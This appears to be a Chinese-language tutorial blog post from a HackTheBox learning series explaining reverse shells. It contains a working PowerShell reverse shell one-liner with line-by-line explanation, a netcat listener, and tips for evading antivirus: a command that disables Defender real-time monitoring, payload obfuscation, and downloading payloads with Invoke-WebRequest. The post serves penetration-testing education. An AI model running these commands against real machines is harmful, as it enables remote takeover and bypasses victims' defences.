iT邦幫忙

2024 iThome 鐵人賽

DAY 7
0
Security

前端小廢物誤入 Hackthebox Module系列 第 7

Reverse Shell - 反向 Shell

  • 分享至 

  • xImage
  •  

Reverse Shell - 反向 Shell


筆者 say say 念:

還記得我們在上一篇說過 Reverse Shell 就是高階海王嗎?

換句話說,它其實就是「反守為攻」的角色啦 ><

讓我們一起來看看什麼是 Reverse Shell 吧!


Reverse Shell 通常分為兩步:

攻擊者開啟監聽 (行動發電機)

攻擊者在自己的機器上開啟監聽器,「等待來自目標系統的反向連接」。

/images/emoticon/emoticon07.gif

目標系統發起連接 (獵物自己貼上來)

攻擊者利用漏洞(如文件上傳、命令注入等)讓目標系統運行代碼,發起反向連接到攻擊者的機器。

/images/emoticon/emoticon24.gif

攻擊者取得控制權 (得逞)

一旦成功連接,攻擊者可以在目標系統上運行 Shell 命令,如同在自己機器上操作一樣。

/images/emoticon/emoticon14.gif


筆者 say say 念:

接著,我們來看看範例吧~


範例 - PowerShell Reverse Shell (Windows 系統)

實現步驟

假設攻擊方是 Linux 系統,目標主機是 Windows 系統。

Windows 系統中,可以利用 PowerShell 來建立反向 Shell,自投羅網。

Linux 主機中,就需要設一個「監聽器」,等待連接。

範例程式碼

Windows 主機 (目標主機)

透過 Powershell,我們可以下以下指令~

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

這段程式碼會通過 PowerShell 在目標系統上發起反向 Shell,並將目標系統的 Shell 發送回攻擊者的機器。

這邊的指令看起來有些複雜,逐步解釋一下~ 有興趣的讀者可以繼續往下看~


Powershell reverse shell 指令說明

powershell -nop -c

-nop

這個參數的意思是 "no profile",即不加載 PowerShell 的使用者配置檔,讓命令執行得更快、更輕量。

-c

這表示將後面的指令當作一個命令來執行。

接下來是這段程式碼的主要部分:

$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',443);

這行程式碼創建了一個 TCP 客戶端對象,並試圖連接到 IP 地址 192.168.1.100 的攻擊者機器,並使用 443 端口。

此處的 TCPClient 是用來建立 TCP 連接的工具,這裡目標系統將作為客戶端發起與攻擊者的連接。

$stream = $client.GetStream();

這行程式碼從剛剛創建的 TCP 客戶端中獲取數據流,這個數據流用來在兩台機器之間傳輸資料(命令和回應)。

[byte[]]$bytes = 0..65535|%{0};

這行程式碼創建了一個大小為 65535 字節的「空白字節數組」,用來存儲從攻擊者機器接收的資料。

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){

這行程式碼進入一個循環,持續從數據流中讀取資料,並將其存入剛剛創建的 $bytes 數組中。$i 表示實際讀取的字節數量,當讀取的數據不為0時,循環持續執行。

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);

這行程式碼將接收到的字節數據轉換為「可讀字符串」。$data 是從攻擊者發送過來的指令。

$sendback = (iex $data 2>&1 | Out-String);

這行程式碼將接收到的命令 $data 使用 iex (即 Invoke-Expression) 來執行,並將命令的執行結果收集起來。2>&1 表示同時收集標準輸出和錯誤輸出,| Out-String 將輸出轉換成字符串形式。

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';

這行程式碼將命令的執行結果附加上當前的工作目錄(用 pwd 來獲取當前目錄),然後組合成 $sendback2,這是要回傳給攻擊者的完整結果。

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);

這行程式碼將 $sendback2Shell 命令的結果)轉換為字節數組,以便通過數據流傳輸。

$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();

這兩行程式碼將轉換後的字節數據發送回攻擊者機器,並且確保數據立即被送出。

$client.Close()

當數據傳輸完成時,程式結束循環並關閉 TCP 連接。


好了,看完落落長的說明後,我們需要面對一個事實...

也就是執行這段指令也是有可能會被 Windows 的防毒軟體給擋下來的!

那,我們該怎麼辦?

支線來了!舉幾個可以做的事情:

  • 拿到系統管理員權限,用以下指令透過 Powershell 禁用防毒軟體

    Set-MpPreference -DisableRealtimeMonitoring $true
    
  • Payload 混淆

    防病毒軟體依賴於簽名來識別已知的惡意代碼。通過「混淆你的 Payload」,將其轉換成看起來不同的形式,可以繞過這些檢測。例如,使用 PowerShell 腳本混淆工具來修改命令,使其難以被檢測。

    有興趣的讀者可以看看: https://github.com/danielbohannon/Invoke-Obfuscation

  • 使用原生工具 (Living Off the Land)

    利用目標系統上的原生工具進行攻擊,例如使用 PowerShell 或其他內建系統功能來避免引入外部可執行文件,這可以降低被防毒軟體檢測的風險。

    舉個例子,可以看,如在 Invoke-WebRequest 下載惡意 Payload,然後在目標系統上運行。

    Invoke-WebRequest 的使用範例可以參考: https://learn.microsoft.com/zh-tw/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4

Linux 主機 (攻擊方主機)

在攻擊者的機器上運行與 Netcat 範例類似的監聽器命令:

nc -lvnp 443

Reverse Shell 這麼複雜,難不成只能自己寫?

其實有一份 cheatsheet 可以看,Reverse Shell Cheatsheet

讀者可以評估想要滲透的目標主機的 OS 以及使用該工具或程式語言需要安裝的東西,來決定要使用哪個 reverse Shell ~

這邊提供一個比較表,讀者可以思考要怎麼選擇!

Shell 類型 優點 缺點 適用場景
Netcat 簡單易用,跨平台,常用於快速測試 需要目標系統上安裝Netcat,不適用所有情況 測試和Linux系統
PowerShell Windows內建,無需額外安裝,廣泛使用於Windows環境 容易被Windows Defender等防病毒軟件檢測 Windows系統內網滲透
Python 跨平台,靈活,可高度自定義 需要Python已安裝,目標系統未必都有Python 適用於Python環境的系統
Bash Linux/Unix內建工具,無需安裝,執行簡單命令 僅適用於Linux/Unix環境,功能相對單一 Linux系統快速Shell連接
Meterpreter (Metasploit) 功能強大,內建多種工具,支持加密流量 容易被防病毒軟件攔截,且需要安裝Metasploit 高階滲透測試,功能豐富
PHP Reverse Shell 可以用於攻擊網站和Web應用,適用於有PHP支持的服務器 執行效率低,易被WAF(Web Application Firewall)攔截 Web應用攻擊,網站滲透
Perl 常見於舊系統,適用於有Perl環境的服務器 現代系統較少使用,Perl程式碼相對難以維護 適用於舊的服務器系統

筆者爆肝宣言:

終於介紹完 Reverse Shell 了!
之後我們可以來看看各種 Payload & Shell /images/emoticon/emoticon37.gif


今日心得

今天在家裡附近的咖啡廳寫文章,感覺還是只有北車的咖啡廳安靜@@
希望之後能換個地方寫,要不然一直被怪人干擾

/images/emoticon/emoticon02.gif

參考資源

https://academy.hackthebox.com/


上一篇
Shell - 初探魔法洞
下一篇
Reverse Shell 與 payload
系列文
前端小廢物誤入 Hackthebox Module31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言